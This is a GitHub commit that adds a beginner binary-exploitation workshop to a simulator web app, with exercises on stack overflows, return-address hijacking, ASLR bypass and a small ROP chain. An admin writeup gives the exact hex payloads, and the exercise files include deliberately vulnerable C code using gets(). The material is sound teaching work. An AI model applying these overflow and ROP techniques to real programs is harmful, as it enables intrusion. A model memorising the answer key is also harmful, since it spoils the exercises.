Skip to content

Commit 5266c44

Browse files
authored
Merge pull request #5 from VRIG-RITSEC/imagine-rit
imagine rit stuff
2 parents b595c09 + 240b291 commit 5266c44

13 files changed

Lines changed: 502 additions & 3 deletions

File tree

imagine-rit-adminwriteup.md

Lines changed: 72 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,72 @@
1+
# Imagine RIT — Admin Writeup
2+
3+
Solutions for all 5 exercises in the Imagine RIT workshop.
4+
5+
---
6+
7+
## Exercise 01: The Stack Frame
8+
9+
No input needed. Just click **Step** 4 times to watch the stack frame build up.
10+
11+
---
12+
13+
## Exercise 02: The Overflow
14+
15+
Send more than 20 bytes to overwrite the go-back address with garbage and crash the program.
16+
17+
```
18+
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
19+
```
20+
21+
(24 bytes of 0x41 — fills the 16-byte buffer, overwrites 4-byte bookmark, trashes the go-back address)
22+
23+
---
24+
25+
## Exercise 03: Hijack Execution
26+
27+
Overflow the buffer and overwrite the go-back address with win() at `0x08048150`.
28+
29+
```
30+
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 50 81 04 08
31+
```
32+
33+
Breakdown:
34+
- `41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41` — 16 bytes buffer padding
35+
- `42 42 42 42` — 4 bytes overwrite the bookmark (junk)
36+
- `50 81 04 08` — win() address `0x08048150` in little-endian
37+
38+
---
39+
40+
## Exercise 04: Randomized Addresses
41+
42+
Addresses change every run. Read the leaked main() address from the log, add `0x150` to get win().
43+
44+
Example: if main is leaked as `0x08248000`, then win = `0x08248000 + 0x150 = 0x08248150`.
45+
46+
```
47+
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 [win address in little-endian]
48+
```
49+
50+
Use the hex calculator in the exercise to compute the address, then enter it backwards (least significant byte first).
51+
52+
---
53+
54+
## Exercise 05: Baby's First ROP
55+
56+
One gadget at `0x08048300` that does: `pop eax; pop ebx; mov [ebx], eax; ret`
57+
58+
Goal: write `0xdeadbeef` into `flag_check` at `0x0804a040`, then jump to win() at `0x08048150`.
59+
60+
```
61+
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 42 42 42 00 83 04 08 ef be ad de 40 a0 04 08 50 81 04 08
62+
```
63+
64+
Breakdown:
65+
- `41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41` — 16 bytes buffer padding
66+
- `42 42 42 42` — 4 bytes overwrite the bookmark
67+
- `00 83 04 08` — gadget address `0x08048300` (overwrites go-back address)
68+
- `ef be ad de``0xdeadbeef` (gadget pops this into eax)
69+
- `40 a0 04 08``0x0804a040` (gadget pops this into ebx)
70+
- `50 81 04 08` — win() address `0x08048150` (gadget's `ret` jumps here after writing eax to [ebx])
71+
72+
The gadget writes 0xdeadbeef to flag_check, then returns into win(), which sees the correct value and prints the flag.

src/app/imagine-rit/[id]/page.tsx

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
import ExercisePageClient from '@/app/exercise/[id]/ExercisePageClient';
2+
3+
const IMAGINE_RIT_IDS = ['rit-01', 'rit-02', 'rit-03', 'rit-04', 'rit-rop'];
4+
5+
export function generateStaticParams() {
6+
return IMAGINE_RIT_IDS.map((id) => ({ id }));
7+
}
8+
9+
export default function ImagineRitExercisePage({ params }: { params: Promise<{ id: string }> }) {
10+
return <ExercisePageClient params={params} />;
11+
}

src/app/imagine-rit/layout.tsx

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
'use client';
2+
3+
import { ExerciseContextProvider } from '@/state/ExerciseContext';
4+
import ImagineRitSidebar from '@/components/AppShell/ImagineRitSidebar';
5+
import SuccessBanner from '@/components/shared/SuccessBanner';
6+
7+
export default function ImagineRitLayout({ children }: { children: React.ReactNode }) {
8+
return (
9+
<ExerciseContextProvider>
10+
<div id="app">
11+
<header>
12+
<h1>0xVRIG</h1>
13+
<div id="badges"></div>
14+
</header>
15+
<div id="app-body">
16+
<ImagineRitSidebar />
17+
<main>
18+
{children}
19+
</main>
20+
</div>
21+
<SuccessBanner />
22+
</div>
23+
</ExerciseContextProvider>
24+
);
25+
}

src/app/imagine-rit/page.tsx

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
'use client';
2+
3+
import { useEffect, useState } from 'react';
4+
import { useRouter } from 'next/navigation';
5+
import { loadProgress } from '@/state/persistence';
6+
7+
const EXERCISES = [
8+
{ id: 'rit-01', title: '01: The Stack Frame', desc: 'Watch how the computer organizes memory — like a stack of sticky notes.' },
9+
{ id: 'rit-02', title: '02: The Overflow', desc: 'Type too much and crash the program. Yes, it\'s that easy.' },
10+
{ id: 'rit-03', title: '03: Hijack Execution', desc: 'Make the program run a secret function it was never supposed to call.' },
11+
{ id: 'rit-04', title: '04: Randomized Addresses', desc: 'The computer scrambles its memory — use a leaked hint to beat it.' },
12+
{ id: 'rit-rop', title: '05: Baby\'s First ROP', desc: 'Bypass the final defense by jumping to code that already exists.' },
13+
];
14+
15+
export default function ImagineRitPage() {
16+
const router = useRouter();
17+
const [completed, setCompleted] = useState<Set<string>>(new Set());
18+
const [mounted, setMounted] = useState(false);
19+
20+
useEffect(() => {
21+
setCompleted(loadProgress());
22+
setMounted(true);
23+
}, []);
24+
25+
if (!mounted) return null;
26+
27+
const doneCount = EXERCISES.filter(ex => completed.has(ex.id)).length;
28+
29+
return (
30+
<div style={{
31+
maxWidth: '620px',
32+
margin: '3rem auto',
33+
padding: '2rem',
34+
fontFamily: 'var(--font)',
35+
color: 'var(--text)',
36+
}}>
37+
<h1 style={{ color: 'var(--green)', fontSize: '22px', fontWeight: 'normal', marginBottom: '0.25rem' }}>
38+
0xVRIG — Imagine RIT
39+
</h1>
40+
<p style={{ color: 'var(--text-dim)', fontSize: '13px', marginBottom: '0.5rem' }}>
41+
Learn how hackers exploit programs — in 5 hands-on exercises
42+
</p>
43+
<p style={{ color: 'var(--text-dim)', fontSize: '11px', marginBottom: '2rem' }}>
44+
No coding experience needed. Each exercise builds on the last.
45+
</p>
46+
47+
<div style={{ fontSize: '12px', marginBottom: '1.5rem', color: 'var(--text-dim)' }}>
48+
Progress: {doneCount}/{EXERCISES.length}{' '}
49+
<span style={{ color: 'var(--green)' }}>
50+
{'█'.repeat(doneCount)}{'░'.repeat(EXERCISES.length - doneCount)}
51+
</span>
52+
</div>
53+
54+
<div style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}>
55+
{EXERCISES.map((ex, i) => {
56+
const done = completed.has(ex.id);
57+
const isNext = !done && EXERCISES.slice(0, i).every(e => completed.has(e.id));
58+
return (
59+
<div
60+
key={ex.id}
61+
onClick={() => router.push(`/imagine-rit/${ex.id}`)}
62+
style={{
63+
padding: '0.75rem 1rem',
64+
border: `1px solid ${isNext ? 'var(--green)' : 'var(--panel-border)'}`,
65+
cursor: 'pointer',
66+
opacity: done ? 0.6 : 1,
67+
}}
68+
>
69+
<div style={{ fontSize: '13px', marginBottom: '0.25rem' }}>
70+
{done && <span style={{ color: 'var(--green)', marginRight: '0.5rem' }}></span>}
71+
{isNext && <span style={{ color: 'var(--green)', marginRight: '0.5rem' }}></span>}
72+
{ex.title}
73+
</div>
74+
<div style={{ fontSize: '11px', color: 'var(--text-dim)' }}>{ex.desc}</div>
75+
</div>
76+
);
77+
})}
78+
</div>
79+
80+
{doneCount === EXERCISES.length && (
81+
<div style={{
82+
marginTop: '2rem',
83+
padding: '1rem',
84+
border: '1px solid var(--green)',
85+
textAlign: 'center',
86+
}}>
87+
<div style={{ color: 'var(--green)', fontSize: '14px', marginBottom: '0.25rem' }}>
88+
Workshop Complete!
89+
</div>
90+
<div style={{ fontSize: '11px', color: 'var(--text-dim)' }}>
91+
You learned how buffer overflows work, hijacked program execution, bypassed ASLR, and built a ROP chain. Nice work!
92+
</div>
93+
</div>
94+
)}
95+
</div>
96+
);
97+
}
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
'use client';
2+
3+
import { useRouter, usePathname } from 'next/navigation';
4+
import { useExerciseContext } from '@/state/ExerciseContext';
5+
6+
const IMAGINE_RIT_EXERCISES = [
7+
{ id: 'rit-01', title: 'The Stack Frame' },
8+
{ id: 'rit-02', title: 'The Overflow' },
9+
{ id: 'rit-03', title: 'Hijack Execution' },
10+
{ id: 'rit-04', title: 'Randomized Addresses' },
11+
{ id: 'rit-rop', title: "Baby's First ROP" },
12+
];
13+
14+
export default function ImagineRitSidebar() {
15+
const router = useRouter();
16+
const pathname = usePathname();
17+
const { state } = useExerciseContext();
18+
19+
const activeId = pathname?.split('/imagine-rit/')[1] ?? '';
20+
21+
return (
22+
<aside className="sidebar">
23+
<div className="sidebar-content">
24+
<div className="sidebar-track">
25+
<div className="sidebar-track-header" style={{ cursor: 'default' }}>
26+
<span className="sidebar-track-name">Imagine RIT</span>
27+
<span className="sidebar-track-count">
28+
{IMAGINE_RIT_EXERCISES.filter(ex => state.completed.has(ex.id)).length}/{IMAGINE_RIT_EXERCISES.length}
29+
</span>
30+
</div>
31+
32+
{IMAGINE_RIT_EXERCISES.map((ex, i) => {
33+
const isActive = activeId === ex.id;
34+
const isCompleted = state.completed.has(ex.id);
35+
36+
return (
37+
<button
38+
key={ex.id}
39+
className={`sidebar-exercise${isActive ? ' active' : ''}${isCompleted ? ' completed' : ''}`}
40+
onClick={() => router.push(`/imagine-rit/${ex.id}`)}
41+
title={ex.title}
42+
>
43+
<span className="sidebar-exercise-title">
44+
{String(i + 1).padStart(2, '0')}. {ex.title}
45+
</span>
46+
{isCompleted && (
47+
<span className="sidebar-exercise-check">{'✓'}</span>
48+
)}
49+
</button>
50+
);
51+
})}
52+
</div>
53+
</div>
54+
</aside>
55+
);
56+
}

src/components/panels/InputPanel/inputs/TextHexInput.tsx

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -8,7 +8,7 @@ import { generateExecSteps, execCurrentStep, ExecStep } from '@/engine/execution
88
export default function TextHexInput() {
99
const { state, dispatch, stackSim, currentExercise } = useExerciseContext();
1010
const [payload, setPayload] = useState('');
11-
const [mode, setMode] = useState<'text' | 'hex'>(state.inputMode);
11+
const [mode, setMode] = useState<'text' | 'hex'>(currentExercise?.mode === 'input-hex' ? 'hex' : state.inputMode);
1212
const [execSteps, setExecSteps] = useState<ExecStep[] | null>(null);
1313
const [execIndex, setExecIndex] = useState(0);
1414
const [ropState] = useState<{ ropEax?: number; ropEbx?: number; ropFlagValue?: number }>({});
@@ -151,7 +151,7 @@ export default function TextHexInput() {
151151
return (
152152
<div>
153153
<div style={{ marginBottom: '0.5rem' }}>
154-
{!isTextMode && (
154+
{isTextMode && (
155155
<div style={{ display: 'flex', gap: '0.5rem', marginBottom: '0.5rem' }}>
156156
<label style={{ fontSize: '11px', color: 'var(--text-dim)' }}>
157157
<input type="radio" name="mode" checked={mode === 'hex'} onChange={() => setMode('hex')} /> Hex
@@ -168,7 +168,7 @@ export default function TextHexInput() {
168168
setExecSteps(null);
169169
setExecIndex(0);
170170
}}
171-
placeholder={isTextMode ? 'Type your input here...' : mode === 'hex' ? 'Enter hex bytes: 41 41 41 41 ...' : 'Type ASCII input...'}
171+
placeholder={isTextMode ? (mode === 'hex' ? 'Enter hex bytes: 41 41 41 41 ...' : 'Type your input here...') : 'Enter hex bytes: 41 41 41 41 ...'}
172172
style={{
173173
width: '100%',
174174
minHeight: '60px',
Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
import { Exercise } from '../types';
2+
3+
const babyRop: Exercise = {
4+
id: 'rit-rop',
5+
unitId: 'imagine-rit',
6+
title: "05: Baby's First ROP",
7+
desc: 'Final boss! The program blocks new code, but there\'s a <strong>gadget</strong> — a reusable snippet already in memory. This one loads two values from the stack and writes one into the other. Your chain: <strong>①</strong> 20 bytes padding, <strong>②</strong> gadget address (from the table), <strong>③</strong> the magic value 0xdeadbeef, <strong>④</strong> the target address 0x0804a040, <strong>⑤</strong> win() address. The gadget writes the magic value into flag_check, then you jump to win()!',
8+
source: {
9+
c: [
10+
{ text: '#include <stdio.h>', cls: '' },
11+
{ text: '', cls: '' },
12+
{ text: '// New code is blocked...', cls: 'cmt' },
13+
{ text: '// But this gadget already exists in the program:', cls: 'cmt' },
14+
{ text: '// 0x08048300: load two values, write one to the other\'s address', cls: 'cmt' },
15+
{ text: '', cls: '' },
16+
{ text: 'int flag_check = 0; // at address 0x0804a040', cls: 'highlight' },
17+
{ text: '', cls: '' },
18+
{ text: 'void win() {', cls: '' },
19+
{ text: ' if (flag_check == 0xdeadbeef)', cls: '' },
20+
{ text: ' printf("FLAG{baby_rop}\\n");', cls: 'highlight' },
21+
{ text: '}', cls: '' },
22+
{ text: '', cls: '' },
23+
{ text: 'void vuln() {', cls: '', fn: true },
24+
{ text: ' char buf[16];', cls: '' },
25+
{ text: ' gets(buf);', cls: 'highlight vuln' },
26+
{ text: '}', cls: '' },
27+
{ text: '', cls: '' },
28+
{ text: 'int main() {', cls: '' },
29+
{ text: ' vuln();', cls: '' },
30+
{ text: ' return 0;', cls: '' },
31+
{ text: '}', cls: '' },
32+
],
33+
},
34+
mode: 'input-hex',
35+
vizMode: 'stack',
36+
bufSize: 16,
37+
showSymbols: true,
38+
showBuilder: false,
39+
showGadgetTable: true,
40+
aslr: false,
41+
nx: true,
42+
rop: true,
43+
protections: [{ name: 'NX/DEP', status: 'bypassed' }],
44+
gadgets: {
45+
0x08048300: 'pop eax; pop ebx; mov [ebx], eax; ret',
46+
},
47+
flagAddr: 0x0804a040,
48+
magicValue: 0xdeadbeef,
49+
check(_sim, _heap, _symbols, flags) {
50+
return flags.ropWin === true;
51+
},
52+
winTitle: 'FLAG{baby_rop}',
53+
winMsg: 'You used one gadget to write a value into memory, then jumped to win(). That\'s a real ROP chain — reusing existing code to do what you want! Workshop complete!',
54+
realWorld: 'This "code reuse" technique is behind almost every modern hack — it was used to jailbreak iPhones, hack game consoles, and break into browsers.',
55+
};
56+
57+
export default babyRop;

src/exercises/imagine-rit/index.ts

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import { Exercise } from '../types';
2+
import rit01Stack from './rit-01-stack';
3+
import rit02Overflow from './rit-02-overflow';
4+
import rit03Hijack from './rit-03-hijack';
5+
import rit04Aslr from './rit-04-aslr';
6+
import babyRop from './baby-rop';
7+
8+
export const imagineRitExercises: Exercise[] = [
9+
rit01Stack,
10+
rit02Overflow,
11+
rit03Hijack,
12+
rit04Aslr,
13+
babyRop,
14+
];

0 commit comments

Comments
 (0)